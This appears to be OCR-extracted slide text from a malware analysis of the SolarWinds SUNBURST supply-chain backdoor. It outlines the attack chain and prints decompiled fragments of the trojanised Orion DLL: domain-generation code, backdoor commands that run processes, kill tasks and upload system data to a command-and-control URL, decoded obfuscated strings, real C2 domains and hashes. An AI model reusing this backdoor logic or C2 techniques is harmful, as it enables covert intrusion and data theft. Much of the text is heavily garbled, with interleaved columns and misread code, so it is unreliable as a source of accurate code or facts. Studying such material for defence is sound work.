M Threat actor targets SolarWinds

MThreat actor Modifiesthecode ~— BSOS Bite

M Code is delivered as a hot patch to victims

M Malicious DLL is loaded into the address space of Solarwinds app

M Once the malicious code is installed, it goes into sleep mode by using Delay* function

M The trojan uses DGA to retrieve CNAME

M CNAME points to another domain that is used as the Command & control

M The threat actor starts getting the list of victims

M C2 activity is initiated by the threat actor, where the backdoor retrieves instructions
from the C2
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M ADFS-SAML tokens, keys for the lateral movement???? FORGED SAML TOKENS???
[ Solarwinds releases a hot fix to address the issue

SecondStage TearDrop DLL could be dropped in the following path
C:\Windows\SysWOW64\NetSetupSvce.dll.

NetSetupSvc.dll 1s one of the legit DLL used by Solarwinds application. Its loaded by the svchost
process, using the following command.
-k netsvcs -p -s NetSetupSve



KILL-SWITCH = IF RESOLVED TO RFC 1918


(214831104 Bytes)




SecondStage TearDrop DLL could be dropped in the following path

      C:\Windows\SysWOW64\NetSetupSvc.dll.

NetSetupSvc.dll is one of the legit DLL used by Solarwinds application. Its loaded by the svchost process, using the following command.
						-k netsvcs -p -s NetSetupSvc






SYMMARY - MODIFY SOLARWINDS CODE
INSTALL THE MALICIOUS CODE VIA HOT PATCH
GET CNAME
DOWNLOAD STAGE 2
1 USE STEGANOGRAPHY TO RETRIEVE THE - PAYLOAD(s)
[ COBALT STRIKE]

- USE OF DGA
- CODE MODIFICATION BY THE THREAT ACTOR Tk_CreatelImageType (typePtr)
- USE THE INSTALLER ON A SOLARWINDS ENABLED MACHINE (UPGRADE - RESOLVE THE DOMAIN
PROCESS HOT FIX) TEARDOWN -> USE STEGANOGRAPHY TO USE HTTP(s) TO TALK TO C2
EXTRACT THE PAYLOAD (COBALT STRIKE)

2

Talk to *.avsvmcloud.com and get the CNAME

SolarWinds.Orion.Core.BusinessLayer.dll
3 4 CREDENTIAL/DATA STEALING

| U

1 (sourceAll<char> (predicate) \
return OrionlsprovenentBuisnessLayer, Cryptotelper, Base6dDecode (EXIIN) ;

y s e BACKDOOR FEATURES

private string GetStatus()
{

return . + Or ayer.domain2 + *." + Or ayer. this.guid(0) % OricalmprovementBuisnesslayer.dosaind, Length) +
}
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return Registryive, Localdachine; A kNPT fARs= Installlate
if (upper == OrionImprovementBuisnessLayer,ZipHelper,Unzip("8/82jYwPDXYNCGYA") || upper == OrionImprovementBuisnesslayer,ZipHelper,Unzip(“8/A0BQA=")) . .

return RegistryHive,Users; KSR TS L ransuaz PAYAS Ormmhnn 02
if (upper == OrionImprovementBuisnessLayer.ZipHelper.Unzip("8/82, ) || vpper == Or np! ayer.ZipHelper,Unzip(*8/B2dgYA")) " Il

return RegistryHive.CurrentConfig; Lol uwnSS LRTOEETY CAR== Y ‘
if (upper == OrionImprovementBuisnessLayer.ZipHelper,Unzip("8/B2jYwPcAly8/d19HN2j XdxDHEEAA==") || upper == OrionImprovementBuisnessLayer.Ziphelper.Unzip("8/ADCAEA")) ( m Wﬁ(]ﬂ

MUY LY
TA wme A wesaeml o8 oa ln 4 o a

Encoded features within the DLL

public static void [ATAGFile(string[] args)
{

| System.I0.File.Delete(Environment.ExpandEnvironmentVariables(args(0])); ONCE THE NAME IS RESOLVED, USE HTTP TO

CONNECT TO THE C2 AND EOWNLOAD OTHER
|ancom ;;2:‘;.; :ddn:sggsgz.s.(i;address.GeLMdressBytes( ): PAYLOAD(S)

. switch ((int) addressBytes[addressBytes.Length - 2] & 10)
OrionImprovementBuisnessLayer.DelayMin(@, @);

{
if (OrionImprovementBuisnessLayer.ProcessTracker.TrackProcesses(true)) case 2:
return false; ;ec.lfngth = 1;
if (OrionImprovementBuisnessLayer.DnsHelper.CheckServerConnection(OrionImprovementBuisnessLayer.apiHost)) case 8:
return true; rec.length = 2;
break;

case 10: i —api = =

rec.length = 3; i i - i - -
break;
default: - = o -
rec.length = @; - - —

break; - i - -

public static void [FillTask(string[] args)
{

b
Process.GetProcessById(int.Parse(args(0])).Kill(); :witch ((int) addressBytes[addressBytes.Length — 1] & 136)

case 8: - i - -

vrasiy DGA CODE IN MALICIOUS DLL . ' : {LSoQR. IRoWRgls

case 128: - — -
rec-_type = 2; 5h6iu6aklourof936791.appsync-api.us-east-2.avsvmcloud.com
break; Shceep8i2dnOpr5435gei.appsvnc-api.us-west-2.avsvmcloud, com
e 5ildfbdal2osardhds2n0i3uholi2yv02.appsvnc-api . us-west-2.avsvmcloud.com
rec._type = 2
;

break : g _ : - .
case 136: s s 3
3 4 7 - —east-

rec._type =
break;

private static string Base64fecodd(string s) private static string Base64Encode(byte[] bytes, bool rt)

public static byte(] Decompress(bytel] inpst)

F"’" (MemoryStrean mesoryStreanl = new MesoryStreasd input))

default:
S rec._type = ©; *
OrionImprovementProtocol.RegistryHelper.GetValue(OrionImprovementProtocol.Zip break; = = =

He1per. Unzip("8/ ) ) :uitch ((int) addressBytes|[addressBytes.Length — 1] & 84)
B2jYz38Xd29In3dXT28PRzjQn2dwsJdwxyj fHNTC7KL85PK41xLqosKM1PLOosyKgEAA=="), { case 4 ; r =ani — —
OrionImprovementProtocol.ZipHelper.Unzip("801MzsiMS3UvzUwBAA=="), ( rec.A = random.Next(240, 300); iod -api - -
iy . break; = = =
)' case 16: =
} rec.A = random.Next(480, 600); - — — — n
break; — — -

aedia 6fndhoavfijo774hfgge, appsync-api.us-east-l.avsvmcloud.com
rec.A = random.Next(1440, 1560);

o . . . — . - —

DGA CODE

case 64:

(MD5 md5 ~ MD5.Create()) rec.A = random.Next(4320, 5760); 6akng4rraionsheden0e6i0i =S et -I-J lond

6
case 68: 6iénlgieb520269he2g0bl2eul . appsvnc-api.us-east-1.avsvmcloud.com
[] bytes Encoding.ASCII.GetBytes(s); rec.A = random.Next(10020, 10140); 6iefSkkueaulhv8i65600céirusvécuv,.appsvync-api.us-east-2.avsvmcloud.com
[1 hash  md5.ComputeHash(bytes); T o ; - -
(hash.Length - hash64.Length)
false;
( index  ©; index - hash.Length; = index)
hash64[index % hash64.Length] hash[index];

e R Y

MALICIOUS CODE

true;

IsNullOrInvalidName( domain4)

[]1 strArray  domain4.ToLower().Split('."');
(strArray.Length 2)

s  strArray[strArray.Length 2] = "."
strArray([strArray.Length  1];
patternHash OrionImprovementProtocol.patternHashes)



SO WHAT'S INSIDE THE MALICIOUS CODE?



Some of the classes and methods used within the malicious code

MALICIOUS DLL CODE VIEW

OrionImprovementProtocol
RegistryHelper
RegistryHive
ConfigManager
ServiceConfiguration
Service
ProcessTracker

Job

Proxy

HttpHelper
DnsHelper
CryptoHelper
DnsRecords
IPAddressesHelper
ZipHelper
NativeMethods

JobEngine

Idle,

Exit,

SetTime,
CollectSystemDescription,
UploadSystemDescription,
RunTask,
GetProcessByDescription,
KillTask,
GetFileSystemEntries,
WriteFile,

FileExists,

DeleteFile,

GetFileHash,
ReadRegistryValue,
SetRegistryValue,
DeleteRegistryValue,
GetRegistrySubKeyAndValueNames,
Reboot,

None,

Initialize()

Update()

DelayMs(double minMs, double maxMs)

DelayMin(int minMinutes, int maxMinutes)

DeleteValue(string key, string valueName)

SetKeyOwner(RegistryKey key, string subKey, string owner)
SetKeyOwnerWithPrivileges(RegistryKey key, string subKey, string owner)
SetKeyPermissions(RegistryKey key, string subKey, bool reset)
SetAutomaticMode()

SetTime(string[] args, out int delay)

KillTask(string[] args)

DeleteFile(string[] args)

GetFileSystemEntries(string[] args, out string result)
GetProcessByDescription(string[] args, out string result)
CollectSystemDescription(string info, out string result)
UploadSystemDescription(string[] args, out string result, IWebProxy proxy)
WriteFile(string[] args)

FileExists(string[] args, out string result)
DeleteRegistryValue(string[] args)
GetRegistrySubKeyAndValueNames(string[] args, out string result)
Close(OrionImprovementProtocol.HttpHelper http, Thread thread)
GetAddresses(IPAddress address, OrionImprovementProtocol.DnsRecords rec)

Initialize calls the Update method —> DelayMin(rec.A, rec.A)



Orion Improvement BusinessLayer is a program that sends statistics to Solarwinds to improve the product


RunTask (

[1 args, cl, result)

{
result  ( )
fileName ~ Environment.ExpandEnvironmentVariables(args[?]);
arguments args.Length 1 cl.Substring(OrionImprovementProtocol.Job.GetArgumentIndex(cl, 1)).Trim() ( )
(Process process Process())

null;

null;

{

process.StartInfo ProcessStartInfo(fileName, arguments)

{
false,
false

CreateNoWindow
UseShellExecute

};
{

(process.Start())

result

process.Id.ToString();
25

new OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip(“MzTQAOMA"), OrionImprovementProtocol.ZipHelper.Unzip(*MzI11TMAQQA="), OrionImpro using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(OrionImprovementProtocol.ZipHelper.Unzip("C07NSUOuUdBScCvKz1UIz8wzNor3Sy0@pzy/Kdk
new OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("MzQ30jM00zPQMwAA"), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMyMdADQgA="") str += OrionImprovementProtocol.GetManagementObjectProperty(managementObject, Or}onImprovementProtocol.Z}pHelper.UnZ}p(:cOktT17KLCJJzM8DﬁA=="));
new OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("M7QGOjM059AzODMAAA==“), 0rionImprovementProtocol.ZipHelper.Unzip("MlelTMCYgMQAm str += OrionImprovementProtocol.GetManagementObjectProperty(managementObject, OrionImprovementProtocol.ZipHelper.Unzip("83V@dkxJKUotLgYA"));

str += OrionImprovementProtocol.GetManagementObjectProperty(managementObject, OrionImprovementProtocol.ZipHelper.Unzip(*c/FwDnDNSOzKSUOBAA=="));

new OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip(“MzIy@TMAQQA="), OrionImprovementProtocol.ZipHelper.Unzip("MzIx0ANDAA=="), OrionI

. . . . . . . ; str += OrionImprovementProtocol.GetManagementObjectProperty(managementObject, OrionImprovementProtocol.ZipHelper.Unzip(*c/FwDghOLSpLLQIA"));

new OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip(*S0s2MLCyAgA="), OrionImprovementProtocol.ZipHelper.Unzip(*"S0s1MLCyAgA="), OrionIi str += OrionImprovementProtocol.GetManagementObjectProperty(managementObject, OrionImprovementProtocol.ZipHelper.Unzip("c/EL9sgvLVFLZEOFAA=="));
new OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("S@0tNNrCyAgA="), OrionImprovementProtocol.ZipHelper.Unzip("S0tLNrCyAgA="), OrionI str += OrionImprovementProtocol.GetManagementObjectProperty(managementObject, OrionImprovementProtocol.ZipHelper.Unzip("c/ELdsnPTczMCySNS8usCESNLErO8COKSSOCAA=="));
new OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip(“S@szMLCyAgA="), OrionImprovementProtocol.ZipHelper.Unzip("“S@szMLCyAgA="), OrionIi str += OrionImprovementProtocol.GetManagementObjectProperty(managementObject, OrionImprovementProtocol.ZipHelper.Unzip("c/ELDk4tKkstCkSNLErOBCOKSSOCAA=="));

OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip(*MzHUszDRMzS11DMAAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA") str += OrionImprovementProtocol. GetManagementObjectProperty (managementObject, OrionImprovementProtocol.ZipHelper.Unzip("8wxwTEkpSi0uBgh="));
new . P - P . p - ,p per. ,p " ! . p . .p per. ,p N 9 str += OrionImprovementProtocol.GetManagementObjectProperty(managementObject, OrionImprovementProtocol.ZipHelper.Unzip("8wwILk3KSy@BAA=="));
new OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip(“MzfRMzQO0TMy@TMAAA=="), OrionImprovementProtocol.ZipHelper.Unzip(*MzI11TMCYRMLPQI str += OrionImprovementProtocol.GetManagementObjectProperty(managementObject, OrionImprovementProtocol.ZipHelper.Unzip("c@INSyzNKfEMCE8SSS1PrAQA”));
new OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("MzQ10TMOtNAzNDHQMwWAA"), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA") using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(OrionImprovementProtocol.ZipHelper.Unzip("C@7NSUQuUdBScCvKz1UIz8wzNor3LogtSiz]
new OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("MzI01zMOM9Yz1zMAAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA") gr}onimprovementgrotoco{.osinio = garjaggmentObJect’-DProper{lesI[O;lonITplrlovementProtocgg1leﬂglper-Ur)er;(()"sM;KManwMA")g,.ValueiT;Scrr'l?g();U o (“BuS2LErOYCXITSd0LUOF
new OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("MzLQMzQx0ANCAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMyNdEzODMAAA: rionImprovementProtocol.osInfo = OrionImprovementProtocol.osInfo + ;" + managementObject.PropertieslOrionImprovementProtocol.ZipHelper.Unzip("8w92LErOyCxJTS4pLUOF

new
new
new
new
new
new
new
new
new
new

OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("szTTMzbUMzQ30jMAAA=="), OrionImprovementProtocol.ZipHelper.Unzip("“MzI11TOCYgMA")
OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("MzQ21DMystAzNNIzAAA="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMCYyM9Aw
OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("MzQx0bMwOzMyMtMzAAA="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA")
OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("s9AztNAzNDHRMwAA"), OrionImprovementProtocol.ZipHelper.Unzip("“MzI11TMCYXM9AwWA=")
OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("“M7TQMzQ20ANCAA=="), OrionImprovementProtocol.ZipHelper.Unzip("“MzI11TMCYgM9AwWA=")
OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("MzfUMzQ10jM11jMAAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA")
OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("s7TUM7fUM9AzAAA="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMCYgM9AwA=")
OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("szDXMzK20LMw0D =="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMCYRMLPQ
OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip(*M7S@1DMyMNQzNDTXMwAA"), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA")
OrionImprovementProtocol.IPAddressesHelper(OrionImprovementProtocol.ZipHelper.Unzip("M7Qw0TM30jPQMwAA"), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMyNdEzODMAAA

OrionImprovementProtocol.ZipHelper.Unzip("@7DPINSIjkvUrYqtidPUKEktLoHzVTQB"),
OrionImprovementProtocol.ZipHelper.Unzip("@7DP1NQozs9JLCrPzEsplgQA")

OrionImprovementProtocol.
OrionImprovementProtocol.
OrionImprovementProtocol.

osInfo
osInfo
osInfo

OrionImprovementProtocol.osInfo
OrionImprovementProtocol.osInfo
OrionImprovementProtocol.osInfo

I+ 4+

+ managementObject.Properties [0rionImprovementProtocol.ZipHelper.Unzip("88wrLknMyXFJLEKFAA==
+ managementObject.Properties[0rionImprovementProtocol.ZipHelper.Unzip("8y9KT8zLrEosyczPAwA=

+ managementObject.Properties[0OrionImprovementProtocol.ZipHelper.Unzip("COpNzywuSS1KTQktTi0C



Random random = new Random(); . . : -
byte[] addressBytes = address.GetAddressBytes(); public static void mTaSk(Strmg[] argS)

switch ((int) addressBytes[addressBytes.Length — 2] & 10) {
{ Process.GetProcessById(int.Parse(args[0])).Kill();
case 2: }
rec. length = 1;
break;
case 8:
rec. length = 2;
break;
case 10:
rec. length = 3;
break;
default:
l rec. length = 0;
break;
}
| switch ((int) addressBytes[addressBytes.Length — 1] & 136)
{
> case 8:
rec._type = 1;
break;
’ case 128:
;?:;‘E‘.type = 2; ?ublic static void UploadSystemDescription(string[] args, out string result, IWebProxy proxy)
l result = (string) null;
case 128: string requestUriString = args[0];
| rec._type = 2; string sl = args[1];
break; string s2 = args.Length >= 3 ? args[2] : (string) null;
’ case 136: string[] strArray = Encoding.UTF8.GetString(Convert.FromBase64String(sl)).Split(new string[3]
rec._type = 3; { “\r\n",
break; N\,
| default: "
rec._type = 0; }, StringSplitOptions.None);
break; HttpWebRequest httpWebRequestl = (HttpWebRequest) WebRequest.Create(requestUriString);
} HttpWebRequest httpWebRequestZ.='httpWebF_{equgst1; o ' . o . '
switch ((int) addressBytes[addressBytes.Length — 1] & 84) httpWebREﬂ:e;',CZ;:?;aieigEEggE';;fiia:i\l::};c;iat1onCa11back(httpWebRequestZ.get_ServerCert1f1cateVa11dat1onCa11back() + (RemoteCertificateValidationCallback) ((sender, cert,
{ httpWebRequestl.Proxy = proxy;
case 4: httpWebRequestl.Timeout = 120000;
rec.A = random.Next (240, 300); httpWebRequestl.Method = strArray[0].Split(' ')[0];
break; foreach (string header in strArray)
case 16: t int length = header.Index0f(':");
rec.A = random.Next (480, 600); if(1a§u1>0) i
break; g
case 20: string headerName = header.Substring(@, length);
rec.A = random.Next (1440, 1560); string s3 = header.Substring(length + 1).TrimStart((char[]) Array.Empty<char>());
break; if (!WebHeaderCollection.IsRestricted(headerName))
case 64: {
rec.A = random.Next (4320, 5760); httpWebRequestl.Headers.Add(header);
break; ¥
case 68:
rec.A = random.Next(10020, 10140);



SOLARWINDS LEGITIMATE DLIL'’s

b9ce67819daf32c526211edea88bSecl04538¢75ad13767ca44309e9181dbfc:

143632672dcb6ef324343739636b98415c52eceDe078cfecTcbeac4al3545403a:

numberOfimports
mscoree_dIl

mds

fsxze

File-Size
File-Modification-Date-Time
File-Access-Date-Time
File-Inode-Change-Date-Time
Time-Stamp
File-Permissions
File-Type
File-Type-Extension
MIME-Type
Machine-Type
Image-File-Characteristics
PE-Type
Linker-Version
Code-Size
Initialized-Data-Size
Uninitialized-Data-Size
File-Subtype
Entry-Point
OS-Version
Image-Version
Subsystem-Version
Subsystem
File-Version-Number
Product-Version-Number
File-Version
Product-Version
Assembly-Version
File-Flags-Mask
File-Flags

File-OS
Object-File-Type
Language-Code
Character-Set
Comments
Legal-Trademarks
Company-Name
File-Description
Product-Name
Internal-Name
Legal-Copyright
compileTime

649728 B 634.50 KB
977896 B 954.98 KB

2019

_CorDlIMain
2d9b1245d42bb91928da2528bb057de2
977896-8

955-kB

TWXT-X-X
Win32-DLL

dil
application/octet-stream
Intel-386-or-later
Executable

Windows-command-line

2020-2-15300-12766

0x003f

none

Win32
Dynamic-link-library
Neutral

Unicode

SolarWinds-Worldwide
SolarWinds-Orion-Core-BusinessLayer

SolarWinds-Orion-Core-BusinessLayer-dll
Copyright-A©-1999-2020-SolarWinds-Worldwide
Tue Aug 11 17:40:55 2020

__.-—
[

LI

L's

DL

GI'T

|

i compileTime

2020

R S

C(nulld
Symantec Clas

D S

3 SHA256 Code Signing CA
Solarwinds Worldwide, LLC
Cnulld
C(nulld
Bf e? 73 75 28 22 ab 86 ad f2 a3 6e 34 5d cB ed

-dil
Copyright-A®©-1999-2020-SolarWinds-Worldwide

TiAug 11 17:40:55 2020
— v

-



SOLARWINDS LEGITIMATE DLL’s


32519b85c0b422e4656de6e6c41878e95fd950:26267daab4215ee59¢107d6c77.exe: 1011032 B 087.34 KB

SIGNED

[O0O38FB24]-> Symantec Class 3 SHAR56 Code Signing CA
[OO38FB28]-> Solarwinds Worldwide, LLC

[O038FB14]-> (null)

[OO38FB18]-> (null)

[01162180] > 0Ofe9 73 75 20 22 a6 06 ad {2 a3 6e 34 5d cO ed

DLL 1s signed with Solarwinds private key

MALICIOUS DLL

N

COMPILE-TIME /



MALICIOUS DLL


32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77.exe:	              1011032 B	                       987.34 KB



COMPILE-TIME





[0038FB24]->     Symantec Class 3 SHA256 Code Signing CA
[0038FB28]->     Solarwinds Worldwide, LLC
[0038FB14]->     (null)
[0038FB18]->     (null)
[01162180] ->     0f e9 73 75 20 22 a6 06 ad f2 a3 6e 34 5d c0 ed


SIGNED


DLL is signed with Solarwinds private key





DLL DECODED VALUES (MALICIOUS COD.

"{ .Unzip("COstKs7MzwMA")].Value.ToString();

...J elper.Unzip("i3aNVag2qFWoNgRioloA"), (object) Environment.0SVersion.VersionString, (object) Environment.0SVersion.Version, (object) (Environment.Is64BitOperatingSystem ? 64 :
ZipHelper.Unzip('8/B2jYz38Xd29In3dXT28PRzjQn2dwsJdwxyj FHNTC7KL85PK41xLqosKMLPLOosyKgEAA=="), OrionImprovementProtocol.ZipHelper.Unzip("801MzsjMS3UvzUwBAA=="), (object) "");
er.Unzip("MzTQA@MA"), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMAQQA="), OrionImprovementProtocol.AddressFamilyEx.Atm),

er.Unzip("
er.Unzip ("

COpNL81JLAIA

.Unzip("
Regular cr.Unzip("

er.Unzip("

CO7NzXTKz0kBAA==

MzQ30jM00zPQMwAA"), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMyMdADQgA="), OrionImprovementProtocol.AddressFamilyEx.Atm),
M7Q00jMOs9AzODMAAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMCYgM9AwA="), OrionImprovementProtocol.AddressFamilyEx.Atm),
MzIy0TMAQQA="), OrionImprovementProtocol.ZipHelper.Unzip("MzIx@ANDAA=="), OrionImprovementProtocol.AddressFamilyEx.Atm),
S0s2MLCyAgA="), OrionImprovementProtocol.ZipHelper.Unzip("S@s1MLCyAgA="), OrionImprovementProtocol.AddressFamilyEx.Atm),
SOtNNrCyAgA="), OrionImprovementProtocol.ZipHelper.Unzip("S@tLNrCyAgA="), OrionImprovementProtocol.AddressFamilyEx.Atm),

"S0szMLCyAgA="), OrionImprovementProtocol.ZipHelper.Unzip("S@szMLCyAgA="), OrionImprovementProtocol.AddressFamilyEx.Atm),

0 Unzip(
SemiBold it

MzHUszDRMzS11DMAAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementProtocol.AddressFamilyEx.Ipx),
MzfRMzQOOTMy@TMAAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMCYRMLPQMA"), OrionImprovementProtocol.AddressFamilyEx.Ipx),
MzQ1OTMOtNAzZNDHQMWAA"), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementProtocol.AddressFamilyEx.Ipx),
MzI01zMOM9Yz1zMAAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementProtocol.AddressFamilyEx.Ipx),
MzLQMzQx0ANCAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMyNdEz@ODMAAA=="), OrionImprovementProtocol.AddressFamilyEx.ImpLink),
szTTMzbUMzQ30jMAAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementProtocol.AddressFamilyEx.ImpLink),
MzQ21DMystAzNNIzAAA="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMCYyM9AwA="), OrionImprovementProtocol.AddressFamilyEx.ImpLink),

"MzQx0bMwOzMyMtMzAAA="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementProtocol.AddressFamilyEx.ImpLink),

s9AztNAZNDHRMwAA"), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMCYxM9AwA="), OrionImprovementProtocol.AddressFamilyEx.NetBios),
M7TQMzQ20ANCAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMCYgM9AwWA="), OrionImprovementProtocol.AddressFamilyEx.NetBios, true),
MzfUMzQ10jM11jMAAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementProtocol.AddressFamilyEx.NetBios),
s7TUM7fUM9AZAAA="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMCYgM9AwA="), OrionImprovementProtocol.AddressFamilyEx.NetBios, true),
szDXMzK20LMwODMAAA=="), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMCYRMLPQMA"), OrionImprovementProtocol.AddressFamilyEx.NetBios),
M7S01DMyMNQzNDTXMwAA"), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementProtocol.AddressFamilyEx.NetBios),
M7QwOTM30jPQMwAA"), OrionImprovementProtocol.ZipHelper.Unzip("MzI11TMyNdEzODMAAA=="), OrionImprovementProtocol.AddressFamilyEx.NetBios, true)

CO7NzXTKzOnxLEnMyUwGAA== SemiBoldItalic é%%&
yy9IzSt0zCsGAA== opensans %ﬁ%g
y8svyQcA noto %ﬁ%ﬁ
SytKTU3LzysBAA== freefont it
C84vLUpOdc5PSQ0oygcA SourceCodePro et
C84vLUpODU4tykwLKMOHAA== SourceSerifPro
C84vLUpO9UJMCO7MKwYA SourceHanSans
C84vLUpO9UJMCO4tykwDAA== SourceHanSerif

S8VvPKynWL89PS90VvNgJVrTYEYgNa3fLUpDSgTLVXrR5IzggA

fonts/woff/0-1-2-webfont3.woff2

S8vPKynWL89PS90vNgjVrTYEYgPaauNaPZCYEQA=

fonts/woff/0-1-23.woff2

C87PSSwKz8xLKQYA

SolarWinds

03POLypJrQjIKU3PzAMA

.CortexPlugin

0/MvyszPAwWA=

.Orion

C88sSs1JLS4GAA==

Wireless

C/UEAA==

Ul

C8IMSUSLKQYA

Widgets

BwWVvwBQA= NPM
cyzIz8nJBwA= Apollo
c87JL03xzc/LLMkvysxLBwA= CloudMonitoring
88tPSSOGAA== Nodes
C8vPKcINLQYA Volumes
88wrSS1KSOxOLQYA Interfaces
c87PLcJPS80rKQYA Components

Ky7PLNAVLUjRBwA=

swip/upd/

OovIzQEA

.xXml

Ky 7PLNB3LUVNKykGAA==

swip/Events

Ky7PLNAPLc)JIT0zRSyzOgAAA

swip/Upload.ashx

881MLsovzk8r0XUugiwoyXcM8NQHAA==

Microsoft-CryptoAPI/

C87PSSwKz8xLKfYvyszP88wtKMovS81NzStxzskEkvoA

SolarWindsOrionImprovementClient/

i/EvyszP88wtKMovS81NzSuJCc7PSSwKz8xLKAZD19NLrUgFAA==

_OrionImprovement SolarWinds.OrionImprovement.ex

M9YzAEJjCyMA

3.0.0.382

Kyo0T190zCkxKzXMrEyryi 8wNTAKMbFMyquwSC7LzU4tz8gCAA==

rg3gsaltoeuliyfzopb572d49bnx8cvmkewh]

M4 X1QMA

0 -.

K8gwSs1MyzfOMyOtSTEfMskixNCksKkvKzTYoTswxNOsGAA==

ph2eifo3nb5utglj8d94grvbmkOsal76c

MzAOMJ]YxXNTO3sExMSk5JTUvPyMzKzsnNyy8oLCouKSO0rr61s003XAwWA=

0123456789%abcdefghijklmnopgrstuvwxyz— .

0403AAA=

- 0

CO04NzigtSckvzwsoyizLzEINTwUA

SeShutdownPrivilege

32));





DLL DECODED VALUES


(MALICIOUS CODE)


CcOktTi17RI.CH1JIzM8DAA== Description
83V0OdkxJKUotT.aYA MACAddress
c/FwDNDNSQOzKSUQBAA== DHCPEnabled
c/FwDahOTL.SoIL.T.OTA DHCPServer
c/F19savIvFIL.zEQFAA== DNSHostName

c/EFEI1.dsnPTczMCvOANS8usCESNLErO8C9KSSQOCAA==

DNSDomainSuffixSearchOrder

c/FETDkAtKkst CKkONTETrQ8COKSSQCAA==

DNSServerSearchOrder

SwxwTEkoS1 QuBgA= IPAddress
SWWwITk3IKSvVOBAA== IPSubnet
COINSvzZNKfEMcE8sSSTIPrAOA DefaultTPGatewav
CO7NSUQuUdABScCvKz1UTz8wzNor3T.0gtSizJzEsPriwuScOQFAA== Select * From Win32 OperatindaSvstem
c04sKMnMzwMA Caption
SWO2TFrOvCxJTS4ApTUQOFAA== OSArchitecture
S8WrILknMvXFITLEKFAA== InstallDate
8vOKT8zI.rFOsSVvCzZPAWA= Oraganization
COpNzvwuSSIKTOktTi 0CAA== ReagisteredUser
COstKs7/MzwMA Version
13aNVaa2agFWoNaRiol oA FE 01 2

Q/DPINSTAkvUrYatidPUKEKtT.oHZVTOR

2i1ta-z | "test™a-z18

Q7DPINO0zs9JICrPzEsolaOA

?isolarwinds

CQotvC8aCU8sSchTITOKL.SmaBAA=

ReportWatcherRetrv

COotvC8aCU8sSchITOrTTv4AdovMOT.BOA=

ReportWatcherPostoone

SvzI1Cv0z0ksKs/MSvnWS87PROA=

avi.solarwinds.com

Svwrl.stNzskvTdFIzs8FAA==

avsvmcloud.com

SvWwOKKTMS O ZNIMagFAA== appsvnc—-api

Sv3VIUBtItEI1BAA= eu-west-1

Kv3WTLUStTtFE1AQA= us-west-2

Kv3WTUOsST.tE1RBAA= us—-east-1

Kv3IWTUOST.tE1AgA= 1us—-east-2

M7UWTKmONDHVNTNKTNMINE ] 1O0DWXNDDSTbRIMZzTWwTTY3S1JKBOA= 583da945-62af-10e8-4902-a8f205c72b2e

CO9Y11DXVBOA= S—-1-5-

0zUIMAAA -500
c0zJzczlI.C4pSizJIwIA Administrator
